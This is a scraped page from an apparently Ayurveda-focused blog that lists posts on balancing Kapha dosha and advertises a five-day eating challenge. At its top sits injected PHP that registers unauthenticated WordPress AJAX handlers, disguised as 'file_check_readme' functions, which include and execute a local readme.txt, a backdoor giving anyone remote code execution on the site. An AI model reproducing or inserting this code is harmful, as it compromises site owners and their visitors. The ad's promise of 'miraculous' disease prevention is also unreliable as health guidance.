if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Asaf Feit | Holistic Healing Resolutions by Asaf Feit
Kapha Routine

Kapha Routine

by | Ayurveda, Constitution, Kapha

Routine for balancing Kapha Kapha is naturally heavy and dense, so when it is in excess, we are very likely to feel heavy, congested, unmotivated, and lethargic. Our minds may be unclear or foggy, and we might struggle with finding the discipline to stick with our...
Kapha Dosha All Aspects

Kapha Dosha All Aspects

by | Ayurveda, Constitution, Kapha

Function: Kapha comes from two Sanskrit words, Ka meaning Water and Pha meaning to flourish – that which is flourished by Water. Kapha’s nature is also Earth, so Earth and Water give Kapha its definitive qualities. Kapha comprises all our cells, tissues and...
Guidelines for A Kapha Diet

Guidelines for A Kapha Diet

by | Ayurveda, Constitution, Kapha

Kapha is balanced by a diet of freshly cooked, whole foods that are light, dry, warming, well-spiced, and relatively easy to digest—ideally served warm or hot. These foods calm Kapha by balancing mucous production, regulating moisture levels, maintaining adequate...
Balance Kapha with Lifestyle Practices

Balance Kapha with Lifestyle Practices

by | Ayurveda, Constitution, Kapha

Adapting your lifestyle and being mindful of how you are living from day to day—even in relatively simple or subtle ways—can be an extremely effective way of encouraging a return to balance. A Qualitative Perspective As a starting place, it’s helpful to understand...

THE WISDOM OF EATING 5-DAY CHALLENGE (May 18-22)

Superior Health and Disease Prevention in a 5-Day miraculous Life-Changing Challenge!

Woohoo!